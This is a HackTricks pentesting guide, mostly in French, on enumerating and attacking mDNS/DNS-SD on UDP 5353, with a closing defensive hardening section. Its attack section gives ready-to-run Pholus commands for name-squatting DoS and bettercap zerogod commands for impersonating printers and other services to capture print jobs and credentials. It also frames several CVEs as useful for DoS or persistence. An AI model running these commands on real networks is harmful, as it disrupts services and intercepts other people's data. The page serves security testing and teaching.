5353/UDP Multicast DNS (mDNS) et DNS-SD

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

Multicast DNS (mDNS) permet une rĂ©solution de noms de type DNS et la dĂ©couverte de services Ă  l’intĂ©rieur d’un lien local sans serveur DNS unicast. Il utilise UDP/5353 et les adresses multicast 224.0.0.251 (IPv4) et FF02::FB (IPv6). DNS Service Discovery (DNS-SD, typiquement utilisĂ© avec mDNS) fournit un moyen standardisĂ© d’énumĂ©rer et de dĂ©crire les services via les enregistrements PTR, SRV et TXT.

PORT     STATE SERVICE
5353/udp open  zeroconf

Key protocol details you’ll often leverage during attacks:

  • Les noms dans la zone .local sont rĂ©solus via mDNS.
  • Le bit QU (Query Unicast) peut demander des rĂ©ponses unicast mĂȘme pour des requĂȘtes multicast.
  • Les implĂ©mentations devraient ignorer les paquets dont la source n’est pas le lien local ; certaines stacks les acceptent encore.
  • Probing/announcing impose l’unicitĂ© des noms d’hĂŽtes/services ; interfĂ©rer ici crĂ©e des conditions de DoS/“name squatting”.

DNS-SD service model

Les services sont identifiés comme _._tcp ou _._udp sous .local, par ex. _ipp._tcp.local (imprimantes), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge), etc. Découvrez les types avec _services._dns-sd._udp.local, puis résolvez les instances découvertes en SRV/TXT/A/AAAA.

Network Exploration and Enumeration

  • scan nmap d’une cible (mDNS direct sur un hĂŽte) :
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • dĂ©couverte broadcast nmap (Ă©coute du segment et Ă©numĂ©ration de tous les types/instances DNS-SD) :
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux) :
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
  • Apple dns-sd (macOS) :
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Capture de paquets avec tshark :
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Astuce : Certains navigateurs/WebRTC utilisent des noms d’hĂŽte mDNS Ă©phĂ©mĂšres pour masquer les IP locales. Si vous voyez des candidats random-UUID.local sur le rĂ©seau, rĂ©solvez-les via mDNS pour effectuer un pivot vers les IP locales.

Attacks

Interférence au stade de probing du nom mDNS (DoS / name squatting)

Pendant la phase de probing, un hĂŽte vĂ©rifie l’unicitĂ© d’un nom. RĂ©pondre avec des conflits falsifiĂ©s le force Ă  choisir de nouveaux noms ou Ă  Ă©chouer. Cela peut retarder ou empĂȘcher l’enregistrement et la dĂ©couverte des services.

Exemple avec Pholus:

# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Service spoofing and impersonation (MitM)

Impersonate les services DNS-SD annoncés (imprimantes, AirPlay, HTTP, partages de fichiers) pour contraindre des clients à se connecter à vous. Ceci est particuliÚrement utile pour :

  • RĂ©cupĂ©rer des documents en spoofing _ipp._tcp ou _printer._tcp.
  • Leurrer des clients vers des services HTTP/HTTPS pour rĂ©colter tokens/cookies ou livrer payloads.
  • Combiner avec NTLM relay lorsque des clients Windows nĂ©gocient l’auth vers des services spoofed.

Avec le module zerogod de bettercap (mDNS/DNS-SD spoofer/impersonator):

# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Voir aussi les workflows gĂ©nĂ©riques de spoofing LLMNR/NBNS/mDNS/WPAD et de capture/relay d’identifiants :

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Notes sur les problĂšmes d’implĂ©mentation rĂ©cents (utile pour DoS/persistance lors d’engagements)

  • Les bugs Avahi reachable-assertion et D-Bus crash (2023) peuvent terminer avahi-daemon sur des distributions Linux (par ex. CVE-2023-38469..38473, CVE-2023-1981), perturbant la dĂ©couverte de services sur les hĂŽtes cibles jusqu’au redĂ©marrage.
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) permet Ă  des clients WLAN adjacents d’inonder le contrĂŽleur avec des mDNS fabriquĂ©s, provoquant un pic CPU du WLC et la chute des tunnels AP — utile si vous devez forcer le roaming des clients ou des resets de contrĂŽleur pendant un engagement.
  • Apple mDNSResponder logic error DoS (CVE-2024-44183) permet Ă  un processus local sandboxĂ© de planter Bonjour pour supprimer briĂšvement la publication/la dĂ©couverte de services sur des endpoints Apple ; corrigĂ© dans les versions iOS/macOS courantes.
  • Apple mDNSResponder correctness issue (CVE-2025-31222) a permis une Ă©lĂ©vation de privilĂšges locale via mDNSResponder ; utile pour la persistance sur Macs/iPhones non gĂ©rĂ©s, corrigĂ© dans les rĂ©cents correctifs iOS/macOS.

Considérations Browser/WebRTC mDNS

Les versions récentes de Chromium/Firefox rendent opaques les host candidates avec des noms mDNS aléatoires. Vous pouvez ré-exposer les IP LAN sur des endpoints gérés en poussant la policy Chrome WebRtcLocalIpsAllowedUrls (ou en basculant chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/équivalent Edge) de sorte que ICE expose les host candidates au lieu de mDNS ; définir via HKLM\Software\Policies\Google\Chrome.

Quand les utilisateurs dĂ©sactivent la protection manuellement (courant dans les guides de dĂ©pannage WebRTC), leurs navigateurs recommencent Ă  annoncer des host candidates en clair, que vous pouvez capturer via mDNS ou ICE signaling pour accĂ©lĂ©rer la dĂ©couverte d’hĂŽtes.

Considérations défensives et OPSEC

  • Limites de segmentation : ne routez pas 224.0.0.251/FF02::FB entre zones de sĂ©curitĂ© sauf si un mDNS gateway est explicitement requis. Si vous devez relier la dĂ©couverte, privilĂ©giez des allowlists et des limites de dĂ©bit.
  • Endpoints/serveurs Windows :
  • Pour dĂ©sactiver totalement la rĂ©solution de noms via mDNS, dĂ©finissez la valeur de registre et redĂ©marrez :
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • Dans des environnements gĂ©rĂ©s, dĂ©sactivez la rĂšgle intĂ©grĂ©e « mDNS (UDP-In) » de Windows Defender Firewall (au moins sur le profil Domaine) pour empĂȘcher le traitement mDNS entrant tout en prĂ©servant la fonctionnalitĂ© Ă  domicile/nomade.
  • Sur les builds Windows 11 rĂ©cents/templates GPO, utilisez la policy “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” et dĂ©finissez-la sur Disabled.
  • Linux (Avahi) :
  • Restreignez la publication lorsque ce n’est pas nĂ©cessaire : dĂ©finissez disable-publishing=yes, et restreignez les interfaces avec allow-interfaces= / deny-interfaces= dans /etc/avahi/avahi-daemon.conf.
  • Envisagez check-response-ttl=yes et Ă©vitez enable-reflector=yes sauf si strictement nĂ©cessaire ; prĂ©fĂ©rez des allowlists reflect-filters= lors de la rĂ©flexion.
  • macOS : restreignez le mDNS entrant au niveau des firewalls hĂŽte/rĂ©seau lorsque la dĂ©couverte Bonjour n’est pas nĂ©cessaire pour certains sous-rĂ©seaux.
  • Monitoring : alertez sur des pics inhabituels de requĂȘtes _services._dns-sd._udp.local ou des changements soudains de SRV/TXT de services critiques ; ce sont des indicateurs de spoofing ou d’usurpation de service.

Référence rapide des outils

  • nmap NSE: dns-service-discovery et broadcast-dns-service-discovery.
  • Pholus: scan actif, balayages mDNS inverses, helpers DoS et spoofing.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).

Spoofing/MitM

L’attaque la plus intĂ©ressante que vous pouvez rĂ©aliser via ce service est d’effectuer un MitM dans la communication entre le client et le vrai serveur. Vous pourriez obtenir des fichiers sensibles (MitM de la communication avec l’imprimante) ou mĂȘme des identifiants (Windows authentication).
Pour plus d’informations, consultez :

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks